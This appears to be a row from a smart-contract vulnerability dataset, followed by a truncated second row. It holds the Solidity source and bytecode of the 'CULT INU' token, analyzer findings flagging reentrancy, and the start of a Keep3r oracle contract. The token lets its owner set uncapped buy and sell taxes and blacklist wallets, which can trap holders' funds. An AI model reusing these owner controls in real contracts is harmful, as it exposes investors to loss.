function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract CULTINU is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "CULT INU";
string private constant _symbol = "CULTINU";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x2507b90503a9B98221B8473f0f773328c1220914);
_buyTax = 10;
_sellTax = 10;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setRemoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
uint burnAmount = contractTokenBalance/4;
contractTokenBalance -= burnAmount;
burnToken(burnAmount);
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function burnToken(uint burnAmount) private lockTheSwap{
if(burnAmount > 0){
_transfer(address(this), address(0xdead),burnAmount);
}
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 20000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 20000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
_sellTax = sellTax;
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
_buyTax = buyTax;
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610347578063c3c8cd8014610367578063c9567bf91461037c578063dbe8272c14610391578063dc1052e2146103b1578063dd62ed3e146103d157600080fd5b8063715018a6146102a55780638da5cb5b146102ba57806395d89b41146102e25780639e78fb4f14610312578063a9059cbb1461032757600080fd5b8063273123b7116100f2578063273123b714610214578063313ce5671461023457806346df33b7146102505780636fc3eaec1461027057806370a082311461028557600080fd5b806306fdde031461013a578063095ea7b31461017d57806318160ddd146101ad5780631bbae6e0146101d257806323b872dd146101f457600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600881526743554c5420494e5560c01b60208201525b6040516101749190611937565b60405180910390f35b34801561018957600080fd5b5061019d6101983660046117be565b610417565b6040519015158152602001610174565b3480156101b957600080fd5b50670de0b6b3a76400005b604051908152602001610174565b3480156101de57600080fd5b506101f26101ed3660046118f0565b61042e565b005b34801561020057600080fd5b5061019d61020f36600461177d565b610479565b34801561022057600080fd5b506101f261022f36600461170a565b6104e2565b34801561024057600080fd5b5060405160098152602001610174565b34801561025c57600080fd5b506101f261026b3660046118b6565b61052d565b34801561027c57600080fd5b506101f2610575565b34801561029157600080fd5b506101c46102a036600461170a565b6105a9565b3480156102b157600080fd5b506101f26105cb565b3480156102c657600080fd5b506000546040516001600160a01b039091168152602001610174565b3480156102ee57600080fd5b5060408051808201909152600781526643554c54494e5560c81b6020820152610167565b34801561031e57600080fd5b506101f261063f565b34801561033357600080fd5b5061019d6103423660046117be565b61087e565b34801561035357600080fd5b506101f26103623660046117ea565b61088b565b34801561037357600080fd5b506101f2610921565b34801561038857600080fd5b506101f2610961565b34801561039d57600080fd5b506101f26103ac3660046118f0565b610b27565b3480156103bd57600080fd5b506101f26103cc3660046118f0565b610b56565b3480156103dd57600080fd5b506101c46103ec366004611744565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610424338484610b85565b5060015b92915050565b6000546001600160a01b031633146104615760405162461bcd60e51b81526004016104589061198c565b60405180910390fd5b66470de4df8200008111156104765760108190555b50565b6000610486848484610ca9565b6104d884336104d385604051806060016040528060288152602001611b23602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fde565b610b85565b5060019392505050565b6000546001600160a01b0316331461050c5760405162461bcd60e51b81526004016104589061198c565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105575760405162461bcd60e51b81526004016104589061198c565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b0316331461059f5760405162461bcd60e51b81526004016104589061198c565b4761047681611018565b6001600160a01b03811660009081526002602052604081205461042890611052565b6000546001600160a01b031633146105f55760405162461bcd60e51b81526004016104589061198c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106695760405162461bcd60e51b81526004016104589061198c565b600f54600160a01b900460ff16156106c35760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610458565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072357600080fd5b505afa158015610737573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075b9190611727565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a357600080fd5b505afa1580156107b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107db9190611727565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082357600080fd5b505af1158015610837573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085b9190611727565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610424338484610ca9565b6000546001600160a01b031633146108b55760405162461bcd60e51b81526004016104589061198c565b60005b815181101561091d576001600660008484815181106108d9576108d9611ad3565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061091581611aa2565b9150506108b8565b5050565b6000546001600160a01b0316331461094b5760405162461bcd60e51b81526004016104589061198c565b6000610956306105a9565b9050610476816110d6565b6000546001600160a01b0316331461098b5760405162461bcd60e51b81526004016104589061198c565b600e546109ab9030906001600160a01b0316670de0b6b3a7640000610b85565b600e546001600160a01b031663f305d71947306109c7816105a9565b6000806109dc6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a3f57600080fd5b505af1158015610a53573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a789190611909565b5050600f805466470de4df82000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610aef57600080fd5b505af1158015610b03573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061047691906118d3565b6000546001600160a01b03163314610b515760405162461bcd60e51b81526004016104589061198c565b600b55565b6000546001600160a01b03163314610b805760405162461bcd60e51b81526004016104589061198c565b600c55565b6001600160a01b038316610be75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610458565b6001600160a01b038216610c485760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610458565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d0d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610458565b6001600160a01b038216610d6f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610458565b60008111610dd15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610458565b6001600160a01b03831660009081526006602052604090205460ff1615610df757600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e3957506001600160a01b03821660009081526005602052604090205460ff16155b15610fce576000600955600c54600a55600f546001600160a01b038481169116148015610e745750600e546001600160a01b03838116911614155b8015610e9957506001600160a01b03821660009081526005602052604090205460ff16155b8015610eae5750600f54600160b81b900460ff165b15610edb576000610ebe836105a9565b601054909150610ece838361125f565b1115610ed957600080fd5b505b600f546001600160a01b038381169116148015610f065750600e546001600160a01b03848116911614155b8015610f2b57506001600160a01b03831660009081526005602052604090205460ff16155b15610f3c576000600955600b54600a555b6000610f47306105a9565b600f54909150600160a81b900460ff16158015610f725750600f546001600160a01b03858116911614155b8015610f875750600f54600160b01b900460ff165b15610fcc576000610f99600483611a4a565b9050610fa58183611a8b565b9150610fb0816112be565b610fb9826110d6565b478015610fc957610fc947611018565b50505b505b610fd98383836112f4565b505050565b600081848411156110025760405162461bcd60e51b81526004016104589190611937565b50600061100f8486611a8b565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561091d573d6000803e3d6000fd5b60006007548211156110b95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610458565b60006110c36112ff565b90506110cf8382611322565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061111e5761111e611ad3565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561117257600080fd5b505afa158015611186573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111aa9190611727565b816001815181106111bd576111bd611ad3565b6001600160a01b039283166020918202929092010152600e546111e39130911684610b85565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061121c9085906000908690309042906004016119c1565b600060405180830381600087803b15801561123657600080fd5b505af115801561124a573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008061126c8385611a32565b9050838110156110cf5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610458565b600f805460ff60a81b1916600160a81b17905580156112e4576112e43061dead83610ca9565b50600f805460ff60a81b19169055565b610fd9838383611364565b600080600061130c61145b565b909250905061131b8282611322565b9250505090565b60006110cf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061149b565b600080600080600080611376876114c9565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113a89087611526565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113d7908661125f565b6001600160a01b0389166000908152600260205260409020556113f981611568565b61140384836115b2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161144891815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a76400006114768282611322565b82101561149257505060075492670de0b6b3a764000092509050565b90939092509050565b600081836114bc5760405162461bcd60e51b81526004016104589190611937565b50600061100f8486611a4a565b60008060008060008060008060006114e68a600954600a546115d6565b92509250925060006114f66112ff565b905060008060006115098e87878761162b565b919e509c509a509598509396509194505050505091939550919395565b60006110cf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fde565b60006115726112ff565b90506000611580838361167b565b3060009081526002602052604090205490915061159d908261125f565b30600090815260026020526040902055505050565b6007546115bf9083611526565b6007556008546115cf908261125f565b6008555050565b60008080806115f060646115ea898961167b565b90611322565b9050600061160360646115ea8a8961167b565b9050600061161b826116158b86611526565b90611526565b9992985090965090945050505050565b600080808061163a888661167b565b90506000611648888761167b565b90506000611656888861167b565b90506000611668826116158686611526565b939b939a50919850919650505050505050565b60008261168a57506000610428565b60006116968385611a6c565b9050826116a38583611a4a565b146110cf5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610458565b803561170581611aff565b919050565b60006020828403121561171c57600080fd5b81356110cf81611aff565b60006020828403121561173957600080fd5b81516110cf81611aff565b6000806040838503121561175757600080fd5b823561176281611aff565b9150602083013561177281611aff565b809150509250929050565b60008060006060848603121561179257600080fd5b833561179d81611aff565b925060208401356117ad81611aff565b929592945050506040919091013590565b600080604083850312156117d157600080fd5b82356117dc81611aff565b946020939093013593505050565b600060208083850312156117fd57600080fd5b823567ffffffffffffffff8082111561181557600080fd5b818501915085601f83011261182957600080fd5b81358181111561183b5761183b611ae9565b8060051b604051601f19603f8301168101818110858211171561186057611860611ae9565b604052828152858101935084860182860187018a101561187f57600080fd5b600095505b838610156118a957611895816116fa565b855260019590950194938601938601611884565b5098975050505050505050565b6000602082840312156118c857600080fd5b81356110cf81611b14565b6000602082840312156118e557600080fd5b81516110cf81611b14565b60006020828403121561190257600080fd5b5035919050565b60008060006060848603121561191e57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561196457858101830151858201604001528201611948565b81811115611976576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a115784516001600160a01b0316835293830193918301916001016119ec565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a4557611a45611abd565b500190565b600082611a6757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a8657611a86611abd565b500290565b600082821015611a9d57611a9d611abd565b500390565b6000600019821415611ab657611ab6611abd565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461047657600080fd5b801515811461047657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122047514daab804567c254cb66183898e661dacf32593e6e458a423845b9c72c57264736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 1,986 |
0xb0c605d2a93509dbc755e673620974965d8314ed | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
interface IUniswapV2Pair {
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function token0() external view returns (address);
function token1() external view returns (address);
}
interface IKeep3rV1 {
function keepers(address keeper) external returns (bool);
function KPRH() external view returns (IKeep3rV1Helper);
function receipt(address credit, address keeper, uint amount) external;
}
interface IKeep3rV1Helper {
function getQuoteLimit(uint gasUsed) external view returns (uint);
}
// sliding oracle that uses observations collected to provide moving price averages in the past
contract Keep3rV2Oracle {
constructor(address _pair) {
_factory = msg.sender;
pair = _pair;
(,,uint32 timestamp) = IUniswapV2Pair(_pair).getReserves();
uint112 _price0CumulativeLast = uint112(IUniswapV2Pair(_pair).price0CumulativeLast() * e10 / Q112);
uint112 _price1CumulativeLast = uint112(IUniswapV2Pair(_pair).price1CumulativeLast() * e10 / Q112);
observations[length++] = Observation(timestamp, _price0CumulativeLast, _price1CumulativeLast);
}
struct Observation {
uint32 timestamp;
uint112 price0Cumulative;
uint112 price1Cumulative;
}
modifier factory() {
require(msg.sender == _factory, "!F");
_;
}
Observation[65535] public observations;
uint16 public length;
address immutable _factory;
address immutable public pair;
// this is redundant with granularity and windowSize, but stored for gas savings & informational purposes.
uint constant periodSize = 1800;
uint Q112 = 2**112;
uint e10 = 10**18;
// Pre-cache slots for cheaper oracle writes
function cache(uint size) external {
uint _length = length+size;
for (uint i = length; i < _length; i++) observations[i].timestamp = 1;
}
// update the current feed for free
function update() external factory returns (bool) {
return _update();
}
function updateable() external view returns (bool) {
Observation memory _point = observations[length-1];
(,, uint timestamp) = IUniswapV2Pair(pair).getReserves();
uint timeElapsed = timestamp - _point.timestamp;
return timeElapsed > periodSize;
}
function _update() internal returns (bool) {
Observation memory _point = observations[length-1];
(,, uint32 timestamp) = IUniswapV2Pair(pair).getReserves();
uint32 timeElapsed = timestamp - _point.timestamp;
if (timeElapsed > periodSize) {
uint112 _price0CumulativeLast = uint112(IUniswapV2Pair(pair).price0CumulativeLast() * e10 / Q112);
uint112 _price1CumulativeLast = uint112(IUniswapV2Pair(pair).price1CumulativeLast() * e10 / Q112);
observations[length++] = Observation(timestamp, _price0CumulativeLast, _price1CumulativeLast);
return true;
}
return false;
}
function _computeAmountOut(uint start, uint end, uint elapsed, uint amountIn) internal view returns (uint amountOut) {
amountOut = amountIn * (end - start) / e10 / elapsed;
}
function current(address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut, uint lastUpdatedAgo) {
(address token0,) = tokenIn < tokenOut ? (tokenIn, tokenOut) : (tokenOut, tokenIn);
Observation memory _observation = observations[length-1];
uint price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast() * e10 / Q112;
uint price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast() * e10 / Q112;
(,,uint timestamp) = IUniswapV2Pair(pair).getReserves();
// Handle edge cases where we have no updates, will revert on first reading set
if (timestamp == _observation.timestamp) {
_observation = observations[length-2];
}
uint timeElapsed = timestamp - _observation.timestamp;
timeElapsed = timeElapsed == 0 ? 1 : timeElapsed;
if (token0 == tokenIn) {
amountOut = _computeAmountOut(_observation.price0Cumulative, price0Cumulative, timeElapsed, amountIn);
} else {
amountOut = _computeAmountOut(_observation.price1Cumulative, price1Cumulative, timeElapsed, amountIn);
}
lastUpdatedAgo = timeElapsed;
}
function quote(address tokenIn, uint amountIn, address tokenOut, uint points) external view returns (uint amountOut, uint lastUpdatedAgo) {
(address token0,) = tokenIn < tokenOut ? (tokenIn, tokenOut) : (tokenOut, tokenIn);
uint priceAverageCumulative = 0;
uint _length = length-1;
uint i = _length - points;
Observation memory currentObservation;
Observation memory nextObservation;
uint nextIndex = 0;
if (token0 == tokenIn) {
for (; i < _length; i++) {
nextIndex = i+1;
currentObservation = observations[i];
nextObservation = observations[nextIndex];
priceAverageCumulative += _computeAmountOut(
currentObservation.price0Cumulative,
nextObservation.price0Cumulative,
nextObservation.timestamp - currentObservation.timestamp, amountIn);
}
} else {
for (; i < _length; i++) {
nextIndex = i+1;
currentObservation = observations[i];
nextObservation = observations[nextIndex];
priceAverageCumulative += _computeAmountOut(
currentObservation.price1Cumulative,
nextObservation.price1Cumulative,
nextObservation.timestamp - currentObservation.timestamp, amountIn);
}
}
amountOut = priceAverageCumulative / points;
(,,uint timestamp) = IUniswapV2Pair(pair).getReserves();
lastUpdatedAgo = timestamp - nextObservation.timestamp;
}
function sample(address tokenIn, uint amountIn, address tokenOut, uint points, uint window) external view returns (uint[] memory prices, uint lastUpdatedAgo) {
(address token0,) = tokenIn < tokenOut ? (tokenIn, tokenOut) : (tokenOut, tokenIn);
prices = new uint[](points);
if (token0 == tokenIn) {
{
uint _length = length-1;
uint i = _length - (points * window);
uint _index = 0;
Observation memory nextObservation;
for (; i < _length; i+=window) {
Observation memory currentObservation;
currentObservation = observations[i];
nextObservation = observations[i + window];
prices[_index] = _computeAmountOut(
currentObservation.price0Cumulative,
nextObservation.price0Cumulative,
nextObservation.timestamp - currentObservation.timestamp, amountIn);
_index = _index + 1;
}
(,,uint timestamp) = IUniswapV2Pair(pair).getReserves();
lastUpdatedAgo = timestamp - nextObservation.timestamp;
}
} else {
{
uint _length = length-1;
uint i = _length - (points * window);
uint _index = 0;
Observation memory nextObservation;
for (; i < _length; i+=window) {
Observation memory currentObservation;
currentObservation = observations[i];
nextObservation = observations[i + window];
prices[_index] = _computeAmountOut(
currentObservation.price1Cumulative,
nextObservation.price1Cumulative,
nextObservation.timestamp - currentObservation.timestamp, amountIn);
_index = _index + 1;
}
(,,uint timestamp) = IUniswapV2Pair(pair).getReserves();
lastUpdatedAgo = timestamp - nextObservation.timestamp;
}
}
}
}
contract Keep3rV2OracleFactory {
function pairForSushi(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint160(uint256(keccak256(abi.encodePacked(
hex'ff',
0xc35DADB65012eC5796536bD9864eD8773aBc74C4,
keccak256(abi.encodePacked(token0, token1)),
hex'e18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303' // init code hash
)))));
}
function pairForUni(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint160(uint256(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
)))));
}
modifier keeper() {
require(KP3R.keepers(msg.sender), "!K");
_;
}
modifier upkeep() {
uint _gasUsed = gasleft();
require(KP3R.keepers(msg.sender), "!K");
_;
uint _received = KP3R.KPRH().getQuoteLimit(_gasUsed - gasleft());
KP3R.receipt(address(KP3R), msg.sender, _received);
}
address public governance;
address public pendingGovernance;
/**
* @notice Allows governance to change governance (for future upgradability)
* @param _governance new governance address to set
*/
function setGovernance(address _governance) external {
require(msg.sender == governance, "!G");
pendingGovernance = _governance;
